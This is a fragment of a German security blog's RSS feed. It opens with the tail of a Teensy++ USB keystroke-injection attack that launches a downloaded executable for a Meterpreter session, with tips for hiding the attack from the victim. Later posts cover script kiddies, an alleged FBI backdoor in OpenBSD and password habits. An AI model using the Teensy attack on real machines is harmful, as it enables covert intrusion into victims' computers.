  Keyboard.print(&quot;exit&quot;);
  PressAndRelease(KEY_ENTER, 1);

  CommandAtRunBarMSWIN(&quot;%userprofile%/x.exe&quot;);

  delay(3600000);
}
</pre>
<p>Alles was darin angepasst werden muss, ist die IP-Adresse zum angreifenden System. Und gegebenen Falls muss Zeile 6 entfernt werden. Diese funktioniert leider nur unter Windows 7 und bringt die Maschine dazu auf einen externen Monitor zu wechseln. Und während Windows für etwa 10 Sekunden versucht, diesen zu finden, wird das aktuelle Display deaktiviert, weshalb all die aufblitzenden Fenster und Terminals noch weniger auffallen.</p>
<p>Diese Datei wird nun wie jede andere zuerst in eine .HEX-Datei kompiliert und dann auf den teensy++ geflashed:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2011/05/setftp.png"  rel="lightbox[2262]"><img src="http://blog.encodingit.ch/wp-content/uploads/2011/05/setftp-206x300.png" alt="" title="setftp" width="206" height="300" class="alignnone size-medium wp-image-2271" /></a></p>
<p>Wird der teensy++ nun auf einer Maschine eingesteckt, so geht das Display aus und das nächste was das Opfer sieht ist eine Fehlermeldung:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2011/05/projector.png"  rel="lightbox[2262]"><img src="http://blog.encodingit.ch/wp-content/uploads/2011/05/projector.png" alt="" title="projector" width="386" height="172" class="alignnone size-full wp-image-2272" /></a></p>
<p>Selbst ein geübterer Benutzer wird denken, er habe wohl aus Versehen eine Tastenkombination gedrückt. Was im Hintergrund passiert ist, das wird er nicht erkennen:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2011/05/meterpeter.jpg"  rel="lightbox[2262]"><img src="http://blog.encodingit.ch/wp-content/uploads/2011/05/meterpeter-300x50.jpg" alt="" title="meterpeter" width="300" height="50" class="alignnone size-medium wp-image-2273" /></a></p>
<p>Da ich mein Loader nicht für mich behalten wollte, habe ich mit Dave Kennedy Kontakt aufgenommen und ihm meine Idee erklärt. Wie es scheint, ist er nicht so offen für fremde Vorschläge, weshalb alles endete mit: &#8220;I won&#8217;t add ftp to teensy&#8221;. Seis drum, dann wird es halt nur hier veröffentlicht <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2011/05/teensy-hacking-besser-schneller/feed/</wfw:commentRss>
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		<series:name><![CDATA[Teensy++]]></series:name>
	</item>
		<item>
		<title>Wenn Kinder hacken wollen&#8230;</title>
		<link>http://blog.encodingit.ch/2011/05/wenn-kinder-hacken-wollen/</link>
		<comments>http://blog.encodingit.ch/2011/05/wenn-kinder-hacken-wollen/#comments</comments>
		<pubDate>Fri, 13 May 2011 20:32:12 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet]]></category>
		<category><![CDATA[Scriptkiddie]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=2171</guid>
		<description><![CDATA[Manchmal frage ich mich doch wirklich... 
Woran liegt es, dass immer mehr Personen, die keine Ahnung haben von Computer und Technik  "coole Hacker" werden wollen?
Ist es einfach cool, weil man sich am Vorabend Hackers angesehen hat, oder ist es der Drang zur dunklen Seite im Menschen, welche einem den, durch die Medien geprägten, bösen Hacker schmackhaft macht? Oder ist es einfach cool, die eMails von anderen zu lesen, weil man gerade sonst nichts besseres zu tun hat?
Das könnte dich auch interessieren:<ol>
<li><a href='http://blog.encodingit.ch/2011/02/wenn-man-einfach-abschreibt/' rel='bookmark' title='Wenn man einfach abschreibt&#8230;'>Wenn man einfach abschreibt&#8230;</a> <small>Ich mag irren, aber hier geht doch etwas nicht ganz...</small></li>
</ol><img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Manchmal frage ich mich doch wirklich&#8230;<br />
Woran liegt es, dass immer mehr Personen, die keine Ahnung haben von Computer und Technik  &#8220;coole Hacker&#8221; werden wollen?<br />
Ist es einfach cool, weil man sich am Vorabend <a target="_blank" href="http://www.imdb.com/title/tt0113243/" >Hackers</a> angesehen hat, oder ist es der Drang zur dunklen Seite im Menschen, welche einem den, durch die Medien geprägten, bösen <a target="_blank" href="http://koeln.ccc.de/prozesse/writing/artikel/hacker-howto-esr.xml" >Hacker </a>schmackhaft macht? Oder ist es einfach cool, die eMails von anderen zu lesen, weil man gerade sonst nichts besseres zu tun hat?</p>
<p>Der Grund für diese Gedanken ist ein Beitrag auf einem anderen Blog. Da ich das nicht noch extra fördern will, verzichte ich hier auf einen Link! Darin wird Schritt-für-Schritt erklärt, wie man eine <a target="_blank" href="http://de.wikipedia.org/wiki/Man-in-the-middle-Angriff" >Man-in-the-Middle</a>-Attacke aufbaut unter Verwendung von <a target="_blank" href="http://ettercap.sourceforge.net/" >ettercap </a>und <a target="_blank" href="http://de.wikipedia.org/wiki/ARP-Spoofing" >ARP Spoofing</a>. An sich ja keine schlechte Sache&#8230; Nur frage ich mich dann, was für Personen lesen solche Artikel, dass Kommentare wie die folgenden zu Stande kommen:</p>
<blockquote><p>hab mal ne frage zu diesen kästchen wo immer so befehle oder so drinstehen wie &#8220;telnet server 25&#8243; ,wo muss ich die eingeben ?? xD </p></blockquote>
<p>Und das beste, wenn der Leser dann auch noch findet, er weiss es besser:</p>
<blockquote><p>Hey ich hab jetzt nicht so so viel Erfahrung aber heißt das nicht &#8220;ipconfig&#8221; stat &#8220;ifconfig&#8221; ?? </p></blockquote>
<p><a target="_blank" href="http://www.flickr.com/photos/widhalmt/1213055136/" >Da scheint Linux also doch nur ein Waschmittel zu sein&#8230;</a><br />
Oder auch in Foren tauchen in letzter Zeit immer häufiger solche Fragen auf:</p>
<blockquote><p>[...]<br />
Wie kann man über das Netzwerk auf einen anderen Computer gelangen,<br />
Was braucht man dafür(IP, Trojaner)?<br />
Was hat das ganze mit dem &#8220;Hintertürchen&#8221; auf sich?<br />
Wie kann man den Bildschirm/ die Daten der anderen betrachten?<br />
Wie kann man das lernen, was würdet ihr mir empfehlen?
</p></blockquote>
<p>Da stelle ich mir schon die Frage, ob das Internet von heute nur noch aus <a target="_blank" href="http://de.wikipedia.org/wiki/Skriptkiddie" >Scriptkiddies</a> besteht?<br />
Erstaunlicherweise sind die Benutzer aus dem <a target="_blank" href="http://ubuntuusers.de/search/?query=hacker&#038;area=forum" >uu.de-Forum</a> aber etwas erwachsener, denn da habe ich keine solche Fragen gefunden. <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Mitunter ist das auch der Grund, wieso ich bei so <a href="http://blog.encodingit.ch/2010/04/arp-spoofing/" >heiklen Theme</a>n jeweils auf eine detaillierte Ausführung verzichte, um solchen naiven Kommentaren auszuweichen. Habt ihr da auch schon solche Erfahrungen gemacht?</p>
<br /><p>Das könnte dich auch interessieren:<ol>
<li><a href='http://blog.encodingit.ch/2011/02/wenn-man-einfach-abschreibt/' rel='bookmark' title='Wenn man einfach abschreibt&#8230;'>Wenn man einfach abschreibt&#8230;</a> <small>Ich mag irren, aber hier geht doch etwas nicht ganz...</small></li>
</ol></p><img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2011/05/wenn-kinder-hacken-wollen/feed/</wfw:commentRss>
		<slash:comments>53</slash:comments>
		</item>
		<item>
		<title>Schlechter Code für Opensource</title>
		<link>http://blog.encodingit.ch/2010/12/schlechter-code-fur-opensource/</link>
		<comments>http://blog.encodingit.ch/2010/12/schlechter-code-fur-opensource/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 18:03:30 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Coden]]></category>
		<category><![CDATA[FBI]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[OpenBSD]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=1329</guid>
		<description><![CDATA[Das Prinzip von Opensource ist altbekannt. Der Code einer Software ist offen verfügbar, und jeder der will, kann Änderungen daran hinzufügen und wieder einchecken.

Und hier liegt das grösste Problem: Wenn nun jemand böse Absichten hat, so kann er seinen Schadcode gut getarnt dem Projektteam vorlegen und darauf hoffen, das dieser aufgenommen wird.
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Das Prinzip von Opensource ist altbekannt. Der Code einer Software ist offen verfügbar, und jeder der will, kann Änderungen daran hinzufügen und wieder einchecken.</p>
<p>Und hier liegt das grösste Problem: Wenn nun jemand böse Absichten hat, so kann er seinen Schadcode gut getarnt dem Projektteam vorlegen und darauf hoffen, das dieser aufgenommen wird.<br />
Kommt der Schadcode durch, so hätte ein Angreifer jederzeit Zugriff auf Daten oder andere Informationen. In einem kleinen, unbekannten Projekt ist das zwar schrecklich, die Konsequenten sind aber nicht weiter verheerend.<br />
Doch was nun, wenn es anstelle von einer unbedeutenden Software ein verbreitetes Projekt wie WordPress, Ubuntu, Typo3 oder Nagios betroffen ist&#8230; Somit hätte ein Angreifer Zugriff zu tausenden und abertausenden Systeme, Server oder Webseiten und Webappliaktionen! Nicht auszumalen, wie verheerend die Konsequenten wären&#8230;</p>
<p>Und, man glaub es kaum, ganz so abwegig ist das ganze nicht! Heute wurde in der OpenBSD-Nachrichtenliste ein erschreckendes eMail veröffentlicht:</p>
<blockquote><p>Long time no talk.  If you will recall, a while back I was the CTO at<br />
NETSEC and arranged funding and donations for the OpenBSD Crypto<br />
Framework.  At that same time I also did some consulting for the FBI,<br />
for their GSA Technical Support Center, which was a cryptologic<br />
reverse engineering project aimed at backdooring and implementing key<br />
escrow mechanisms for smart card and other hardware-based computing<br />
technologies.</p>
<p>My NDA with the FBI has recently expired, and I wanted to make you<br />
aware of the fact that the FBI implemented a number of backdoors and<br />
side channel key leaking mechanisms into the OCF, for the express<br />
purpose of monitoring the site to site VPN encryption system<br />
implemented by EOUSA, the parent organization to the FBI.  Jason<br />
Wright and several other developers were responsible for those<br />
backdoors, and you would be well advised to review any and all code<br />
commits by Wright as well as the other developers he worked with<br />
originating from NETSEC.</p>
<p>This is also probably the reason why you lost your DARPA funding, they<br />
more than likely caught wind of the fact that those backdoors were<br />
present and didn&#8217;t want to create any derivative products based upon<br />
the same.</p>
<p>This is also why several inside FBI folks have been recently<br />
advocating the use of OpenBSD for VPN and firewalling implementations<br />
in virtualized environments, for example Scott Lowe is a well<br />
respected author in virtualization circles who also happens top be on<br />
the FBI payroll, and who has also recently published several tutorials<br />
for the use of OpenBSD VMs in enterprise VMware vSphere deployments.
</p></blockquote>
<p>Das eMail von Gregory Perry beschreibt sein Geständnis, wie er vor 10 Jahren Geld von der US-Regierung, genauer dem FBI angenommen hatte und dafür mehrere Backdoor in OpenBSD mit einprogrammiert hatte&#8230;</p>
<p>Glücklicherweise sind die Auswirkungen laut Gregory Perry nach 10 Jahren nicht mehr ganz so verheerend:</p>
<blockquote><p>Since we had the first IPSEC stack available for free, large parts of<br />
the code are now found in many other projects/products.  Over 10<br />
years, the IPSEC code has gone through many changes and fixes, so it<br />
is unclear what the true impact of these allegations are.</p></blockquote>
<p>Wenn die US-Regierung für OpenBSD Geld springen liess, in wie vielen anderen Opensource-Projekten haben die denn sonst noch mitgemischt?!</p>
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		<title>Gedanken zur Passwortverwaltung</title>
		<link>http://blog.encodingit.ch/2010/11/gedanken-zur-passwortverwaltung/</link>
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		<pubDate>Fri, 19 Nov 2010 15:01:42 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[Planet]]></category>

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		<description><![CDATA[Soeben habe ich einen Artikel zum Thema Passwort Cracking für das IT-Sicherheitsmagazin Hakin9 fertiggestellt. Dieser wird voraussichtlich in der nächsten Ausgabe zu lesen sein.

Dabei habe ich mir mal wieder einige Gedanken über mein eigenes Passwort-Management gedanken gemacht, und gemerkt, dass ich mich selbst nicht an alle Empfehlungen wie regelmässiges Ändern von Passwörtern, unterschiedliche Passwörter für unterschiedliche Konten und Dienste und ähnliches halte.<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Soeben habe ich einen Artikel zum Thema Passwort Cracking für das IT-Sicherheitsmagazin Hakin9 fertiggestellt. Dieser wird voraussichtlich in der nächsten Ausgabe zu lesen sein.</p>
<p>Dabei habe ich mir mal wieder einige Gedanken über mein eigenes Passwort-Management Gedanken gemacht, und gemerkt, dass ich mich selbst nicht an alle Empfehlungen wie regelmässiges Ändern von Passwörtern, unterschiedliche Passwörter für unterschiedliche Konten und Dienste und ähnliches halte.</p>
<p>Nun wollte ich mal in die Runde fragen wie ihr denn das so handhabt?</p>
<p>Benutzt ihr ein Tool wie zum Beispiel den Schlüsselbund von Gnome? Oder ist bei eurem Benutzerpasswort ein Ablaufdatum gesetzt? Ändert ihr eure Passwörter überhaupt noch?</p>
<p>Wählt folgend die Optionen aus, welche euren Passwortalltag am besten beschreiben (mehrere Antworten möglich):</p>
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.
<p>Und wer noch mehr zu sagen hat, der kann alles auch in einem Kommentar beschreiben.</p>
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